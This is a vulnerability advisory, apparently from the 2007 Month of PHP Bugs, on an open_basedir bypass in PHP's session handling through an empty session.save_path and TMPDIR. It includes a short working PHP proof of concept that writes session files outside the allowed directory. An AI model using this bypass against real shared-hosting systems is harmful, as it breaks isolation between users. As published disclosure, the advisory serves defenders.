Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:16529
HistoryMar 31, 2007 - 12:00 a.m.

MOPB-36-2007:PHP session.save_path open_basedir Bypass Vulnerability

2007-03-3100:00:00
vulners.com
17

Summary

When an empty session save path is supplied the files session storage modules falls back to the path specified by the TMPDIR environment variable. Unfortunately this magic fallback happens after the open_basedir check and can therefore be used to bypass it.
Affected versions

Affected are PHP 4 < 4.4.5 and PHP 5 < 5.2.1
Detailed information

The summary and the POC say it all.
Proof of concept, exploit or instructions to reproduce

To check this problem try the following code, when open_basedir is set.

<?php
ini_set("session.save_path", "/sessions/user2/");
putenv("TMPDIR=/sessions/user2/");
ini_set("session.save_path", "");
@session_start();
?>

The first ini_set() will error out, because the path is in violation with the open_basedir. The second ini_set() will succeed and the session file will be created in the path specified by TMPDIR.
Notes

We recommend to never ever rely on open_basedir. We consider the open_basedir restrictions just a nice way to decrease the impact of include vulnerabilities.

The MOPB should have made clear by now, that the moment an attacker is able to run PHP code, PHP has more than enough flaws for him to bypass all restrictions enforced by the PHP interpreter.